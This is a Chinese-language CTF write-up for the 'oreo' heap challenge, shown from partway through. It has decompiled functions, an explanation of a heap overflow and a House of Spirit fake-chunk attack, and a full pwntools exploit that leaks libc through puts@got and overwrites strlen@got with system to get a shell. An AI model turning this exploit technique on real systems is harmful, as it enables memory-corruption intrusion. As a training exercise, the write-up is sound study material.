    fgets(curr_chunk_ptr, 56, stdin);
    line_end_check(curr_chunk_ptr);
    ++Rifle_count;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

2. Show added rifles

unsigned int show_added()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = curr_chunk_ptr; i; i = (char *)*((_DWORD *)i + 13) )// 从最后一条记录开始向前遍历,知道prev_chunk_ptr为0,也就是遍历到第一条记录为止
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

3. Order selected rifles

unsigned int order_selected()
{
  char *ptr; // ST18_4
  char *temp; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  temp = curr_chunk_ptr;
  if ( Rifle_count )
  {
    while ( temp )
    {
      ptr = temp;
      temp = (char *)*((_DWORD *)temp + 13);    // 递归取得prev_chunk的指针并将curr_chunk释放掉
      free(ptr);
    }
    curr_chunk_ptr = 0;
    ++Order_count;                              // order总数增加
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

4. Leave a Message with your Order

unsigned int message()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(message_ptr, 128, stdin);
  line_end_check(message_ptr);
  return __readgsdword(0x14u) ^ v0;
}

5. Show current stats

unsigned int show_state()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", Rifle_count);
  printf("Orders: %u times\n", Order_count);
  if ( *message_ptr )
    printf("Order Message: %s\n", message_ptr);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

6. menu

unsigned int menu()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("What would you like to do?\n");
  printf("%u. Add new rifle\n", 1);
  printf("%u. Show added rifles\n", 2);
  printf("%u. Order selected rifles\n", 3);
  printf("%u. Leave a Message with your Order\n", 4);
  printf("%u. Show current stats\n", 5);
  printf("%u. Exit!\n", 6);
  while ( 1 )
  {
    switch ( get_choice() )
    {
      case 1:
        add_new();
        break;
      case 2:
        show_added();
        break;
      case 3:
        order_selected();
        break;
      case 4:
        leave_message();
        break;
      case 5:
        show_state();
        break;
      case 6:
        return __readgsdword(0x14u) ^ v1;
      default:
        continue;
    }
  }
}

一条new rifle的记录结构如下:

00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 descript        db 25 dup(?)
00000019 name            db 27 dup(?)
00000034 next            dd ?                    ; offset
00000038 rifle           ends

在bss段中有一个全局变量一只保存着当前最新的记录对应的chunk的指针,每个chunk尾部有一个next指针指向上一条记录的位置,在 Show added rifles 时便是利用next指针逐级向前显示之前的记录内容。

观察发现,在新增信息,也就是 Add new rifle 的时候,没有正确控制输入长度,导致存在堆溢出,可以修改堆尾部next指针的内容。这意味着只要我们修改next到某个已经完成延迟绑定的函数的got表位置,就可以利用 Show added rifles 泄露这个函数在内存中的位置,从而泄露其它函数如system在内存中的位置。

同时我们发现bss段的结构如下:

.bss:0804A288 curr_chunk_ptr  dd ?                    
.bss:0804A288                                         
.bss:0804A28C                 align 20h
.bss:0804A2A0 Order_count     dd ?                    
.bss:0804A2A0                                         
.bss:0804A2A4 Rifle_count     dd ?                   add_new+C5↑r
.bss:0804A2A4                                         
.bss:0804A2A8 ; char *message_ptr
.bss:0804A2A8 message_ptr     dd ?                    
.bss:0804A2A8                                         
.bss:0804A2AC                 align 20h
.bss:0804A2C0 message_area    db    ? ;               
.bss:0804A2C1                 db    ? ;
.bss:0804A2C2                 db    ? ;
.bss:0804A2C3                 db    ? ;
.bss:0804A2C4                 db    ? ;
.bss:0804A2C5                 db    ? ;
.bss:0804A2C6                 db    ? ;
.bss:0804A2C7                 db    ? ;
.bss:0804A2C8                 db    ? ;
.bss:0804A2C9                 db    ? ;
.bss:0804A2CA                 db    ? ;
.bss:0804A2CB                 db    ? ;
.bss:0804A2CC                 db    ? ;
.bss:0804A2CD                 db    ? ;
.bss:0804A2CE                 db    ? ;
.bss:0804A2CF                 db    ? ;
......

Order_count和Rifle_count长度都为4个字节(暗示可以作为chunk的头部),且Rifle_count的值和message_area的内容都可以被控制,这让我们想到可以利用house of sprit 在此处构造一个fake chunk并释放进入fastbin,经过再分配便可以修改messgae_ptr的值到任意可写的位置,这样当我们使用 Leave a Message with your Order 功能的时候就相当于任意地址写

由于RELRO关闭,如果我们找到一个合适的got表项覆盖为system函数的地址便可以getshell。观察发现strlen@got最适合完成此操作,其参数和system一样都为const char *s,且在 leave message 和 add new rifle 时都会调用到strlen统计输入内容的长度,这意味着"/bin/sh"字符串可从流中输入作为system的参数。

确定exp思路

  1. (泄露)add一条记录溢出修改next指针域到puts的got表,利用 Show added rifles 把got表的地址打印出来,再通过偏移计算出内存中system的地址。
  2. (构造fakechunk)
    2-1. 前面提到把 Order_count 和 Rifle_count 伪造成chunk头,那么根据题目中固定chunk的大小0x38可以确定,被伪造出来的chunk应该属于0x40的fastbin,所以要通过不断add把 Rifle_count 的值增加到0x40,但是要注意的是最后一条记录需要单独构造next指针域,因为之后通过free把fakechunk放进fastbin时需要通过这个next指针指向fakechunk,这样在free时就可以形成只含两个chunk的fastbin,便于再次malloc时获取到我们构造的fake chunk。

    2-2. 注意除了构造fakechunk,还要构造一个符合规则的next_size以及需要把fakechunk的next指针域设置为0,避免在free时发生莫名其妙的错误(由于这里被我忽略了,构造next_size时直接通过padding char的方式,导致了fakechunk的next指针域没有清零,卡了老半天)。

  3. (覆盖strlen的got表为system的地址) fakechunk构造好后利用 Order selected rifles free掉最后一个chunk以及其next指针指向的fakechunk。由于fakechunk是后释放的,只需要再add一次就可以获得它。并且在add时description的前4个字节就是message_ptr指针的值。只要将其设置为strlen@got的地址,再调用 Leave a Message with your Order 功能向strlen@got写入system的地址便完成了绑定。
  4. (getshell)这里有一个细节,也是我没注意的地方。因为 Leave a Message with your Order 本身在输入完message之后就会调用一次strlen计算message的长度。但是此处输入之后,strlen已经变成了system,那岂不是会发生system(system_addr)这样的乌龙?没错之前出现这个的问题的时候脑子没转过来,下意识以为exp中存在什么错误。反应过来后想到只需要在message后加上";/bin/sh\x00"(注意尾部填充\x00截断)就可以继续执行/bin/sh从而getshell !

完整exp

在python3-pwntool下编写,直接搬到py2注意bytes问题。
系统版本:Ubuntu 16.04 (glibc-2.23)

#!/usr/bin/python3
from pwn import *

p=process("./oreo")
elf=ELF("./oreo")
libc=ELF("./libc.so.6")

strlen_got=elf.got[b"strlen"]
log.success("strlen_got: %s"% hex(strlen_got))
puts_got=elf.got[b"puts"]
log.success("puts_got: %s"% hex(puts_got))
fake_chunk=0x0804A2A8
log.success("fake_chunk: %s"% hex(fake_chunk))

#context.log_level="debug"

def add(name,desc):
    p.sendline(b"1")
    p.sendline(name)
    p.sendline(desc)
    
def show_rifle():
    p.sendline(b"2")
    
def order():
    p.sendline(b"3")
    
def message(content):
    p.sendline(b"4")
    p.sendline(content)
    
def state():
    p.sendline(b"5")
    
    
def exp():
    print("==============exp start===============")
    
    print("***Leak glibc***")
    add(b"A"*27+p32(puts_got),b"a"*24)
    show_rifle()
    p.recvuntil(b"Description: ")
    p.recvuntil(b"Description: ")
    puts_addr=u32(p.recv(4))
    system_addr=libc.symbols[b"system"]-libc.symbols[b"puts"]+puts_addr
    binsh_addr=next(libc.search(b"/bin/sh"))-libc.symbols[b"puts"]+puts_addr
    log.success("puts_addr: %s"% hex(puts_addr))
    log.success("system_addr: %s"% hex(system_addr))
    log.success("binsh_addr: %s"% hex(binsh_addr))
    print("****************")
    
    for i in range(0x40-2):
        add(str(i+2).encode(),b"padding")
    add(b"A"*27+p32(fake_chunk),b"BBBBBBBB")

    message(b"C"*(0x0804A2A8+0x38+0x4-0x0804A2C0-0x8)+b"\x00"*8+p32(0x11))
    order()
    add(b"DDDD",p32(strlen_got))
    #gdb.attach(p)

    message(p32(system_addr)+b";/bin/sh\x00")
    #gdb.attach(p)
    print("==============exp end=================")
    p.interactive()
if __name__=="__main__":
    exp()

谢谢支持,欢迎指正!